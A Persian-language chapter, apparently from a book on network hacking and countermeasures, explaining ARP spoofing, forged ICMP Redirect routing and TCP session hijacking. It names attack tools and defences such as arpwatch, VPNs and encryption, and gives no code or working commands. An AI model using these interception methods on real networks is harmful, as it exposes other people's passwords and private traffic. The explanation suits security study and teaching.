    بدون شک، استراق سمع از دیدگاه یک مهاجم بسیار مفید است، زیرا به فرد اجازه می دهد تا اطلاعات مفید زیادی را به دست آورد - رمزهای عبور منتقل شده از طریق شبکه، آدرس رایانه های شبکه، داده های محرمانه، نامه ها و غیره. با این حال، استراق سمع ساده به یک هکر اجازه نمی دهد که در ارتباطات شبکه بین دو میزبان به منظور اصلاح و خراب کردن داده ها دخالت کند. برای حل چنین مشکلی به فناوری پیچیده تری نیاز است.

    درخواست های غلط ARP

    برای رهگیری و در اختیار گرفتن فرآیند تعامل شبکه بین دو میزبان A و B، مهاجم می‌تواند آدرس IP میزبان‌های در حال تعامل را با آدرس IP خود با ارسال پیام‌های جعلی ARP (پروتکل رزولوشن آدرس) به میزبان‌های A و B جایگزین کند. می توانید با پروتکل ARP در ضمیمه D آشنا شوید که روش حل (تبدیل) آدرس IP میزبان به آدرس ماشین (آدرس MAC) کدگذاری شده در کارت شبکه میزبان را شرح می دهد. بیایید ببینیم چگونه یک هکر می تواند از ARP برای رهگیری ارتباطات شبکه بین میزبان A و B استفاده کند.

    برای رهگیری ترافیک شبکه بین میزبان های A و B، هکر آدرس IP خود را به این میزبان ها تحمیل می کند، به طوری که A و B هنگام تبادل پیام از این آدرس IP جعلی استفاده می کنند. برای تحمیل آدرس IP خود، هکر عملیات زیر را انجام می دهد.

    مهاجم آدرس MAC هاست A و B را تعیین می کند، برای مثال با استفاده از دستور nbtstat از بسته W2RK.

    مهاجم پیام‌هایی را به آدرس‌های MAC شناسایی‌شده میزبان‌های A و B ارسال می‌کند، که پاسخ‌های ARP جعلی به درخواست‌ها برای حل کردن آدرس‌های IP میزبان به آدرس‌های MAC رایانه‌ها هستند. به میزبان A اطلاع داده می شود که آدرس IP میزبان B با آدرس MAC رایانه مهاجم مطابقت دارد. به میزبان B اطلاع داده می شود که آدرس IP میزبان A نیز با آدرس MAC رایانه مهاجم مطابقت دارد.

    میزبان های A و B آدرس های MAC دریافتی را در حافظه پنهان ARP خود ذخیره می کنند و سپس از آنها برای ارسال پیام به یکدیگر استفاده می کنند. از آنجایی که آدرس‌های IP A و B با آدرس MAC رایانه مهاجم مطابقت دارد، میزبان‌های A و B بدون شک از طریق واسطه‌ای که می‌تواند هر کاری را با پیام‌های خود انجام دهد، ارتباط برقرار می‌کند.

    برای محافظت در برابر چنین حملاتی، مدیران شبکه باید یک پایگاه داده با جدولی از مکاتبات بین آدرس‌های MAC و آدرس‌های IP رایانه‌های شبکه خود نگهداری کنند. بعد، با استفاده از یک ویژه نرم افزاربرای مثال، ابزارهای arpwatch (ftp://ftp.ee.lbl.gov/arpwatch-2.lab.tar.gz) می توانند به صورت دوره ای شبکه را بررسی کرده و ناسازگاری ها را شناسایی کنند.

    در شبکه های یونیکس، این نوع حمله درخواست ARP جعلی را می توان با استفاده از ابزارهای سیستمی برای نظارت و مدیریت ترافیک شبکه، مانند arpredirect، پیاده سازی کرد. متأسفانه، به نظر نمی رسد که چنین ابزارهای قابل اعتمادی در شبکه های Windows 2000/XP اجرا شوند. به عنوان مثال، در وب سایت NTsecurity (http://www.ntsecurity.nu) می توانید ابزار GrabitAII را دانلود کنید، که به عنوان ابزاری برای هدایت ترافیک بین میزبان های شبکه ارائه شده است. با این حال، بررسی اولیه عملکرد ابزار GrabitAII نشان می دهد که موفقیت کامل در اجرای عملکردهای آن هنوز دور از دسترس است.

    مسیریابی نادرست

    برای رهگیری ترافیک شبکه، مهاجم می‌تواند آدرس IP واقعی یک روتر شبکه را با آدرس IP خود جعل کند، برای مثال، با استفاده از پیام‌های تغییر مسیر ICMP جعلی. میزبان A، طبق RFC-1122، باید پیام ریدایرکت دریافتی را به عنوان پاسخی به یک دیتاگرام ارسال شده به میزبان دیگری درک کند، به عنوان مثال، میزبان A اقدامات خود را بر روی پیام تغییر مسیر بر اساس محتوای پیام تغییر مسیر دریافتی تعیین می کند. و اگر تغییر مسیر دیتاگرام در Redirect از A به B در امتداد یک مسیر جدید مشخص شده باشد، این دقیقا همان کاری است که میزبان A انجام خواهد داد.

    برای انجام مسیریابی نادرست، مهاجم باید جزئیاتی در مورد سازماندهی شبکه محلی که میزبان A در آن قرار دارد، بداند، به ویژه آدرس IP روتری که از طریق آن ترافیک از میزبان A به B ارسال می شود. با دانستن این موضوع، مهاجم باید بداند. یک دیتاگرام IP ایجاد می کند که در آن IP - آدرس فرستنده به عنوان آدرس IP روتر تعریف می شود و گیرنده میزبان A است. همچنین در دیتاگرام یک پیام ICMP Redirect با فیلد آدرس روتر جدید تنظیم شده است. آدرس IP کامپیوتر مهاجم پس از دریافت چنین پیامی، میزبان A تمام پیام ها را به آدرس IP رایانه مهاجم ارسال می کند.

    برای محافظت در برابر چنین حمله ای، باید پردازش پیام های ICMP Redirect را در میزبان A غیرفعال کنید (به عنوان مثال، با استفاده از یک فایروال)، و دستور tracert (در یونیکس این دستور tracerout است) می تواند آدرس IP رایانه مهاجم را نشان دهد. . این ابزارها می توانند مسیر اضافی را پیدا کنند که در شبکه محلی ظاهر شده است که در هنگام نصب پیش بینی نشده است، مگر اینکه، البته، مدیر شبکه هوشیار باشد.

    مثال‌های بالا از رهگیری (که قابلیت‌های مهاجمان به دور از محدودیت است) نیاز به محافظت از داده‌های ارسال شده از طریق شبکه را در صورتی که داده‌ها حاوی اطلاعات محرمانه باشند متقاعد می‌سازد. تنها روش محافظت در برابر رهگیری ترافیک شبکه، استفاده از برنامه هایی است که الگوریتم های رمزنگاری و پروتکل های رمزگذاری را پیاده سازی می کنند و از افشای و جایگزینی اطلاعات محرمانه جلوگیری می کنند. برای حل چنین مشکلاتی، رمزنگاری ابزارهایی برای رمزگذاری، امضا و تأیید صحت پیام‌های ارسال شده از طریق پروتکل‌های امن فراهم می‌کند.

    اجرای عملی تمام روش های رمزنگاری برای محافظت از تبادل اطلاعات شرح داده شده در فصل 4 توسط شبکه های VPN (شبکه خصوصی مجازی) ارائه شده است. یک نمای کلی از اصول و تکنیک های امنیت رمزنگاری را می توان در پیوست E و توصیف همراه با جزئیاتابزارهای حفاظت رمزنگاری ارائه شده توسط برنامه PGP Desktop Security (http://www.pgp.com).

    رهگیری اتصال TCP

    پیچیده ترین حمله رهگیری ترافیک شبکه را باید ضبط اتصال TCP (ربایش TCP) در نظر گرفت، زمانی که یک هکر با تولید و ارسال بسته های TCP به میزبان مورد حمله، جلسه ارتباط فعلی با میزبان را قطع می کند. در مرحله بعد، با استفاده از توانایی پروتکل TCP برای بازیابی اتصال TCP قطع شده، هکر جلسه ارتباط قطع شده را رهگیری کرده و آن را به جای کلاینت قطع شده ادامه می دهد.

    چندین ابزار مؤثر برای انجام حملات ربودن اتصال TCP ایجاد شده‌اند، اما همه آنها برای پلتفرم یونیکس پیاده‌سازی شده‌اند و در وب‌سایت‌ها این ابزارها فقط به صورت کد منبع ارائه می‌شوند. بنابراین، به عنوان متخصصان متقاعد شده در مورد علت اصیل هک، حملات با استفاده از روش رهگیری اتصال TCP برای ما چندان مفید نیستند. (کسانی که دوست دارند کد برنامه دیگران را بفهمند می توانند به سایت http://www.cri.cz/~kra/index.html مراجعه کنند، از آنجا می توانید دانلود کنید. منبعابزار رهگیری اتصال معروف Hunt TCP از Pavel Krauz).

    علیرغم کمبود ابزارهای کاربردی، نمی‌توان از موضوع جالبی مانند رهگیری اتصالات TCP چشم پوشی کرد و به برخی از جنبه‌های چنین حملاتی می‌پردازیم. برخی از اطلاعات در مورد ساختار یک بسته TCP و روش برقراری اتصالات TCP در ضمیمه D این کتاب آورده شده است، اما در اینجا ما روی این سوال تمرکز خواهیم کرد - دقیقا چه چیزی به هکرها اجازه می دهد تا حملات رهگیری اتصال TCP را انجام دهند؟ اجازه دهید این موضوع را با جزئیات بیشتر بررسی کنیم، عمدتاً بر بحث در و.

    پروتکل TCP (پروتکل کنترل انتقال) یکی از پروتکل های لایه انتقال اولیه OSI است که به شما امکان می دهد ارتباطات منطقی را از طریق یک کانال ارتباطی مجازی برقرار کنید. از طریق این کانال، بسته ها با ثبت توالی آنها ارسال و دریافت می شوند، جریان بسته ها کنترل می شود، ارسال مجدد بسته های تحریف شده سازماندهی می شود و در پایان جلسه کانال ارتباطی شکسته می شود. پروتکل TCP تنها پروتکل اصلی در خانواده TCP/IP است که دارای سیستم شناسایی و اتصال پیام پیشرفته است.

    برای شناسایی یک بسته TCP، دو شناسه 32 بیتی در هدر TCP وجود دارد که به عنوان شمارنده بسته نیز عمل می کنند که به آنها شماره ترتیب و شماره تأیید می گویند. ما همچنین به یک زمینه دیگر از بسته TCP به نام بیت های کنترل علاقه مند خواهیم بود. این فیلد 6 بیتی شامل بیت های کنترل زیر است (به ترتیب از چپ به راست):

    URG - پرچم فوریت؛

    ACK - پرچم تایید؛

    PSH - پرچم حمل.

    RST - پرچم برقراری مجدد اتصال؛

    SYN - پرچم همگام سازی؛

    FIN - پرچم پایان اتصال.

    بیایید به روند ایجاد یک اتصال TCP نگاه کنیم.

    1. اگر میزبان A نیاز به ایجاد یک اتصال TCP با میزبان B داشته باشد، میزبان A پیام زیر را برای میزبان B ارسال می کند:

    A -> B: SYN، ISSa

    این بدان معنی است که پیام ارسال شده توسط میزبان A دارای پرچم SYN (همگام سازی شماره دنباله) است و قسمت شماره دنباله روی مقدار اولیه 32 بیتی ISSa (شماره دنباله اولیه) تنظیم شده است.

    2. در پاسخ به درخواست دریافتی از میزبان A، میزبان B با پیامی پاسخ می دهد که در آن بیت SYN تنظیم شده و بیت ACK تنظیم شده است. در قسمت شماره دنباله، میزبان B مقدار شمارنده اولیه خود را تنظیم می کند - ISSb. سپس فیلد شماره تصدیق حاوی مقدار ISSa دریافت شده در اولین بسته از میزبان A است که یک عدد افزایش یافته است. بنابراین میزبان B با این پیام پاسخ می دهد:

    B -> A: SYN، ACK، ISSb، ACK(ISSa+1)

    3. در نهایت میزبان A پیامی به میزبان B می فرستد که در آن: بیت ACK تنظیم شده است. فیلد شماره دنباله حاوی مقدار ISSa + 1 است. فیلد شماره تایید حاوی مقدار ISSb + 1 است. پس از این، اتصال TCP بین میزبان A و B برقرار شده در نظر گرفته می شود:

    A -> B: ACK، ISSa+1، ACK(ISSb+1)

    4. اکنون میزبان A می تواند بسته های داده را از طریق کانال TCP مجازی ایجاد شده به میزبان B ارسال کند:

    A -> B: ACK، ISSa+1، ACK(ISSb+1); داده ها

    در اینجا DATA مخفف داده است.

    از الگوریتم ایجاد یک اتصال TCP که در بالا بحث شد، می توان دریافت که تنها شناسه مشترکین TCP و یک اتصال TCP دو پارامتر 32 بیتی شماره دنباله و شماره تصدیق - ISSa و ISSb است. بنابراین، اگر یک هکر موفق به یافتن مقادیر فعلی فیلدهای ISSa و ISSb شود، هیچ چیز مانع از تولید یک بسته TCP جعلی نمی شود. این بدان معنی است که یک هکر فقط باید مقادیر فعلی پارامترهای ISSa و ISSb یک بسته TCP را برای یک اتصال TCP معین انتخاب کند، بسته را از هر میزبان اینترنتی از طرف مشتری این اتصال TCP و این بسته ارسال کند. درست تلقی خواهد شد!

    خطر چنین جعل بسته های TCP نیز مهم است زیرا پروتکل های سطح بالا FTP و TELNET بر اساس پروتکل TCP پیاده سازی می شوند و شناسایی کلاینت های بسته های FTP و TELNET کاملاً بر اساس پروتکل TCP است.

    علاوه بر این، از آنجایی که پروتکل های FTP و TELNET آدرس های IP فرستنده پیام را بررسی نمی کنند، پس از دریافت بسته جعلی، سرورهای FTP یا TELNET پیام پاسخی را به آدرس IP میزبان هکر مشخص شده در بسته نادرست ارسال می کنند. پس از این، میزبان هکر از آدرس IP خود با سرور FTP یا TELNET شروع به کار می کند، اما با حقوق یک کاربر متصل قانونی، که به نوبه خود به دلیل عدم تطابق شمارنده ها، ارتباط خود را با سرور از دست می دهد.

    بنابراین، برای انجام حمله ای که در بالا توضیح داده شد، یک شرط لازم و کافی آگاهی از دو پارامتر 32 بیتی فعلی ISSa و ISSb است که اتصال TCP را شناسایی می کنند. در نظر بگیریم راه های ممکندریافت آنها در شرایطی که میزبان هکر به بخش شبکه مورد حمله متصل است، کار به دست آوردن مقادیر ISSa و ISSb بی اهمیت است و با تجزیه و تحلیل ترافیک شبکه قابل حل است. بنابراین، لازم است به وضوح درک کنیم که پروتکل TCP اصولاً اجازه می دهد تا از یک اتصال محافظت کند تنها در صورتی که رهگیری پیام های ارسال شده توسط مهاجم غیرممکن باشد. این ارتباط، یعنی فقط در صورتی که میزبان هکر به بخش شبکه متفاوت از بخش مشترک اتصال TCP متصل باشد.

    بنابراین، زمانی که مهاجم و هدفش در بخش‌های مختلف شبکه باشند، حملات بین‌بخشی بیشترین علاقه را برای یک هکر دارد. در این مورد، وظیفه به دست آوردن مقادیر ISSa و ISSb بی اهمیت نیست. برای حل این مشکل، اکنون تنها دو روش ابداع شده است.

    پیش‌بینی ریاضی مقدار اولیه پارامترهای اتصال TCP با برون‌یابی مقادیر قبلی ISSa و ISSb.

    بهره برداری از آسیب پذیری ها در شناسایی مشترکین اتصال TCP در سرورهای یونیکس rsh.

    اولین کار از طریق مطالعات عمیق پیاده سازی پروتکل TCP در موارد مختلف حل می شود سیستم های عاملو اکنون اهمیت نظری صرف دارد. مشکل دوم با استفاده از آسیب پذیری ها حل می شود سیستم های یونیکسبا شناسایی میزبان های مورد اعتماد (معتمد با توجه به یک میزبان معین A یک میزبان شبکه B است که کاربر می تواند بدون احراز هویت با استفاده از سرویس r میزبان A به میزبان A متصل شود). با دستکاری پارامترهای بسته‌های TCP، یک هکر می‌تواند سعی در جعل هویت یک میزبان مورد اعتماد و رهگیری اتصال TCP با میزبان مورد حمله داشته باشد.

    همه اینها بسیار جالب است، اما نتایج عملی این نوع تحقیقات هنوز قابل مشاهده نیست. بنابراین، به همه کسانی که می خواهند عمیق تر در این موضوع تحقیق کنند، توصیه می کنیم به کتاب مراجعه کنند، جایی که اطلاعات ارائه شده در بالا عمدتاً از آنجا گرفته شده است.

    نتیجه

    رهگیری داده های شبکه موثرترین روش هک شبکه است که به هکر اجازه می دهد تقریباً تمام اطلاعات در حال گردش در شبکه را به دست آورد. بزرگترین پیشرفت عملی با ابزارهای sniffing به دست آمده است. گوش دادن به شبکه ها؛ با این حال، ما نمی‌توانیم روش‌های رهگیری داده‌های شبکه را نادیده بگیریم که با تداخل در عملکرد عادی شبکه به منظور هدایت ترافیک به یک میزبان هکر، به‌ویژه روش‌های رهگیری اتصالات TCP انجام می‌شود. با این حال، در عمل، آخرین روش های ذکر شده هنوز پیشرفت کافی نداشته و نیاز به بهبود دارند.

    یک ضد هکر باید بداند که تنها راه نجات از رهگیری داده ها رمزگذاری آن است، یعنی. روش های حفاظت رمزنگاری هنگام ارسال پیام از طریق شبکه، باید از قبل فرض کنید که سیستم کابلی شبکه کاملاً آسیب پذیر است و هر هکری که به شبکه متصل باشد می تواند تمام پیام های مخفی ارسال شده را از آن دریافت کند. دو فناوری برای حل این مشکل وجود دارد - ایجاد یک شبکه VPN و رمزگذاری خود پیام ها. حل همه این کارها با استفاده از بسته نرم افزاری PGP Desktop Security بسیار آسان است (توضیحات آن را می توان به عنوان مثال در در یافت).



    
    بالا